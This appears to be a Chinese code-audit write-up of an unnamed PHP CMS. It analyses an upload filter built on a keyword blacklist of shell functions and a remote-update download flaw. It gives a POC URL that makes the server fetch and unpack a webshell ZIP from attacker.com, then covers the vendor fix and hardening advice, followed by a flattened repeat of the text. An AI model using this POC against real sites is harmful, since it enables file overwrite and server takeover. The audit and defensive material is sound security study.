某cms代码审计
字数 1168 2025-08-09 13:33:54

某CMS代码审计与漏洞利用分析

一、CMS路由机制分析

1. 入口文件index.php分析

index.php文件是CMS的入口文件,主要功能包括:

  • 加载和校验核心类(如数据库连接类)
  • 实例化front类并调用其dispatch方法

2. 路由分发机制

/lib/tool/front_class.php中的dispatch方法实现:

public function dispatch() {
    // 检查类是否存在
    if (!class_exists($this->class)) {
        throw new Exception("Class not found");
    }
    
    // 通过GET方式获取case和act参数
    $case = isset($_GET['case']) ? $_GET['case'] : '';
    $act = isset($_GET['act']) ? $_GET['act'] : '';
    
    // 构造方法名
    $method = $act . '_action';
    
    // 检查方法是否存在
    if (!method_exists($this->class, $method)) {
        throw new Exception("Method not found");
    }
    
    // 调用方法
    call_user_func(array($this->class, $method));
}

关键点:

  • caseact参数通过GET方式获取
  • 方法名由$act拼接"_action"组成
  • 后台功能模块调用时通常带有两个GET参数:site=default&admin_dir=admin

二、文件上传漏洞分析

1. 上传功能点定位

在后台"设置->全局设置->网站logo"处存在上传功能点。

2. 上传处理代码分析

/lib/default/tool_act.php中的uploadimage3_action方法:

function uploadimage3_action() {
    $res = array();
    $uploads = array();
    
    if (is_array($_FILES)) {
        $upload = new upload();
        $upload->dir = 'images';
        $upload->max_size = config::get('upload_max_filesize') * 1024 * 1024;
        $_file_type = str_replace(',', '|', config::get('upload_filetype'));
        
        foreach ($_FILES as $name => $file) {
            // 检查文件大小
            $res[$name]['size'] = ceil($file['size'] / 1024);
            if ($file['size'] > $upload->max_size) {
                $res[$name]['code'] = "1";
                $res[$name]['msg'] = lang('attachment_exceeding_the_upper_limit') . "(" . ceil($upload->max_size / 1024) . "K)!";
                break;
            }
            
            // 文件内容检查
            if (!front::checkstr(file_get_contents($file['tmp_name']))) {
                $res[$name]['code'] = "2";
                $res[$name]['msg'] = lang('upload_failed_attachment_is_not_verified');
                break;
            }
            
            // 文件扩展名检查
            if (!$file['name'] || !preg_match('/\.(' . $_file_type . ')$/', $file['name'])) continue;
            
            // 执行上传
            $uploads[$name] = $upload->run($file);
            
            if (!$uploads[$name]) {
                $res[$name]['code'] = "3";
                $res[$name]['msg'] = lang('attachment_save_failed');
                break;
            }
            
            $str = (config::get('base_url') == "" ? "" : config::get('base_url')) . $uploads[$name];
            $res[$name]['name'] = $str;
            $res[$name]['type'] = $file['type'];
            $res[$name]['code'] = "0";
            apps::updateimg($uploads[$name], ROOT . $str);
        }
    }
    echo json::encode($res);
}

3. 安全限制分析

  1. 文件类型限制

    • 通过config::get('upload_filetype')获取允许上传的文件类型
    • 使用正则表达式进行白名单校验:preg_match('/\.(' . $_file_type . ')$/', $file['name'])
  2. 文件内容检查

    • 调用front::checkstr()方法对文件内容进行黑名单检查
    • 检查方法实现:
      public static function checkstr($str) {
          $blacklist = array('<?php', '<?=', '<?', '?>', 'eval', 'assert', 'system', 'exec', 'passthru');
          foreach ($blacklist as $keyword) {
              if (strpos($str, $keyword) !== false) {
                  return false;
              }
          }
          return true;
      }
      
  3. 绕过可能性

    • 只能使用PHP短标签<?,但需要服务器配置支持短标签
    • 需要配合文件包含漏洞才能利用

三、远程文件下载漏洞分析

1. 漏洞位置

/lib/admin/update_admin.php中找到存在漏洞的代码:

// 约85行处
public function downfile_action() {
    $url = front::get('url');
    $file = $this->get_file($url);
    
    if ($file) {
        // 使用PclZip解压文件
        $zip = new PclZip($file);
        $zip->extract(PCLZIP_OPT_PATH, ROOT, PCLZIP_OPT_REPLACE_NEWER);
        
        // 处理SQL文件
        $sql_file = ROOT . '/data/update.sql';
        if (file_exists($sql_file)) {
            // 执行SQL更新
            $this->update_sql($sql_file);
        }
        
        echo 'Update successful';
    } else {
        echo 'Download failed';
    }
}

2. 漏洞利用

构造POC:

case=update&act=downfile&site=default&admin_dir=admin&url=http://attacker.com/shell.zip

利用步骤:

  1. 准备包含WebShell的ZIP文件并放置在攻击者服务器上
  2. 构造上述URL访问
  3. CMS会下载并解压ZIP文件,覆盖现有文件

3. 漏洞修复方案

最新版本修复方案:

  1. 对URL参数进行加密处理
  2. 添加解密验证步骤
  3. 如果URL未加密或解密失败,则无法下载文件

修复代码示例:

public function downfile_action() {
    $encrypted_url = front::get('url');
    $url = $this->decrypt($encrypted_url); // 解密URL
    
    if (!$url) {
        die('Invalid URL');
    }
    
    // 其余代码不变...
}

四、安全建议

  1. 文件上传安全

    • 保持白名单校验机制
    • 增加文件内容二次验证(如图片文件头检查)
    • 对上传文件重命名,避免直接使用用户提供的文件名
  2. 远程下载安全

    • 限制可下载的URL范围(如只允许特定域名)
    • 增加下载权限验证
    • 对下载文件进行安全检查
  3. 其他安全措施

    • 对所有用户输入进行严格过滤
    • 实现CSRF防护机制
    • 定期更新CMS版本

五、总结

通过本次审计发现:

  1. 文件上传功能存在严格限制,难以直接上传WebShell
  2. 远程文件下载功能存在严重漏洞,可导致任意文件下载和覆盖
  3. 最新版本已通过加密机制修复该漏洞

审计思路总结:

  1. 从功能点入手分析上传机制
  2. 当直接上传受限时,寻找间接利用方式
  3. 全局搜索危险函数(如文件下载、解压等)
某CMS代码审计与漏洞利用分析 一、CMS路由机制分析 1. 入口文件index.php分析 index.php文件是CMS的入口文件,主要功能包括: 加载和校验核心类(如数据库连接类) 实例化front类并调用其dispatch方法 2. 路由分发机制 在 /lib/tool/front_class.php 中的dispatch方法实现: 关键点: case 和 act 参数通过GET方式获取 方法名由 $act 拼接"_ action"组成 后台功能模块调用时通常带有两个GET参数: site=default&admin_dir=admin 二、文件上传漏洞分析 1. 上传功能点定位 在后台"设置->全局设置->网站logo"处存在上传功能点。 2. 上传处理代码分析 /lib/default/tool_act.php 中的 uploadimage3_action 方法: 3. 安全限制分析 文件类型限制 : 通过 config::get('upload_filetype') 获取允许上传的文件类型 使用正则表达式进行白名单校验: preg_match('/\.(' . $_file_type . ')$/', $file['name']) 文件内容检查 : 调用 front::checkstr() 方法对文件内容进行黑名单检查 检查方法实现: 绕过可能性 : 只能使用PHP短标签 <? ,但需要服务器配置支持短标签 需要配合文件包含漏洞才能利用 三、远程文件下载漏洞分析 1. 漏洞位置 在 /lib/admin/update_admin.php 中找到存在漏洞的代码: 2. 漏洞利用 构造POC: 利用步骤: 准备包含WebShell的ZIP文件并放置在攻击者服务器上 构造上述URL访问 CMS会下载并解压ZIP文件,覆盖现有文件 3. 漏洞修复方案 最新版本修复方案: 对URL参数进行加密处理 添加解密验证步骤 如果URL未加密或解密失败,则无法下载文件 修复代码示例: 四、安全建议 文件上传安全 : 保持白名单校验机制 增加文件内容二次验证(如图片文件头检查) 对上传文件重命名,避免直接使用用户提供的文件名 远程下载安全 : 限制可下载的URL范围(如只允许特定域名) 增加下载权限验证 对下载文件进行安全检查 其他安全措施 : 对所有用户输入进行严格过滤 实现CSRF防护机制 定期更新CMS版本 五、总结 通过本次审计发现: 文件上传功能存在严格限制,难以直接上传WebShell 远程文件下载功能存在严重漏洞,可导致任意文件下载和覆盖 最新版本已通过加密机制修复该漏洞 审计思路总结: 从功能点入手分析上传机制 当直接上传受限时,寻找间接利用方式 全局搜索危险函数(如文件下载、解压等)